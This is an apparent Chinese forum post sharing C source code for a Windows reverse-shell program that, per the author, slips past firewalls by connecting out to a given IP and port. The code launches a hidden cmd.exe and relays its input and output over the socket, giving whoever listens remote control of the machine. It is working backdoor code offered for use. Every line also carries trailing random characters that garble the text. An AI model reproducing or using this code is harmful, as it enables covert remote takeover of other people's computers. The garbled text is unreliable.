这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 V jqs\
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/* ============================== qA>C<NL
Rebound port in Windows NT =IEei{
By wind,2006/7 u"5
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===============================*/ {^A,){uX]
#include 60XTdJkDkA
#include 4S\S t<
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#pragma comment(lib,"wsock32.lib") 79d<,q;uR
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void OutputShell(); E oh{+>:6
SOCKET sClient; q Oyo+hu
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "?Yf3G: \0
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void main(int argc,char **argv) #-7m@EU;O
{ b{(= C
3
WSADATA stWsaData; pT<}n 9yB5
int nRet; ,7os3~Mk9
SOCKADDR_IN stSaiClient,stSaiServer; e\95X{_'
zW:r7
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if(argc != 3) \H{UJ
{ $Ma*q EB
printf("Useage:\n\rRebound DestIP DestPort\n"); z;lWr(-x
return; _)a!g-Do7
} cL+bMM$4r~
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WSAStartup(MAKEWORD(2,2),&stWsaData); Xmv^O
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z_(P^/
PM8*/4Cu.5
stSaiClient.sin_family = AF_INET; U}c05GiQw
stSaiClient.sin_port = htons(0); Lt2<3DB
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3FsX3K,_X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %'&_Po\
{ >p>B-m
printf("Bind Socket Failed!\n"); ~yu\vqN
return; V7)<MY
} Q7pjF`wu
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stSaiServer.sin_family = AF_INET; r68d\N`.
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %mNd9 ]<
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); XLj|y#h
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Psw<9[
{ NxrfRhaU3
printf("Connect Error!"); 3Q2z+`x'
return; OR<%h/ \f
} .9$
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OutputShell(); "W@>lf?"
} 0}wmBSl
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void OutputShell() qK,PuD7i"
{ !CUX13/0
char szBuff[1024]; h"4i/L3aAh
SECURITY_ATTRIBUTES stSecurityAttributes; ij&T\):d
OSVERSIONINFO stOsversionInfo; 2yPF'Q7u_.
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @2/xu
STARTUPINFO stStartupInfo; n}3fItSJ
char *szShell; y1t,i.
[
PROCESS_INFORMATION stProcessInformation; bq"dKN`
unsigned long lBytesRead; {(_>A\zi
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); @%gth@8
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C7_nA:Rc
stSecurityAttributes.lpSecurityDescriptor = 0; 3}nkTZ G
stSecurityAttributes.bInheritHandle = TRUE; O>/&-Wk=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [_1K1i"m
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q4]Qvf>
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A ^X 1
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H'x)[2
stStartupInfo.wShowWindow = SW_HIDE; }HxC~J"
stStartupInfo.hStdInput = hReadPipe; W3]?>sLE*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6GsB*hW
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GetVersionEx(&stOsversionInfo); U$EQeb
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switch(stOsversionInfo.dwPlatformId) ^$~&e :{
{ >L,Pw1Y0W[
case 1: VdF<#(X+
szShell = "command.com"; 25/M2u?
break; yBnUz"
default: 4N_iHe5U
szShell = "cmd.exe"; g$^I/OK?
break; zTW)SX_O
} r%vO^8FQ
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ^-dhz88wV
#s0Wx47~
send(sClient,szMsg,77,0); Y%#r&de
while(1) ?.6fVSa
{ lzK,VZ=mM
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a"whg~
if(lBytesRead) 57`9{.HB
{ ;\rKkH"K8n
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M1 _1(LSU
send(sClient,szBuff,lBytesRead,0); ySNXjH
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} 'WcP+4c
else )|IMhB+4
{ z~\Y*\f^Y3
lBytesRead=recv(sClient,szBuff,1024,0); 2M*84oh8P
if(lBytesRead<=0) break; 9y`Vg
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ^u$?& #
} lvk
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} nPj
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return; ?f4jqF~Fh
}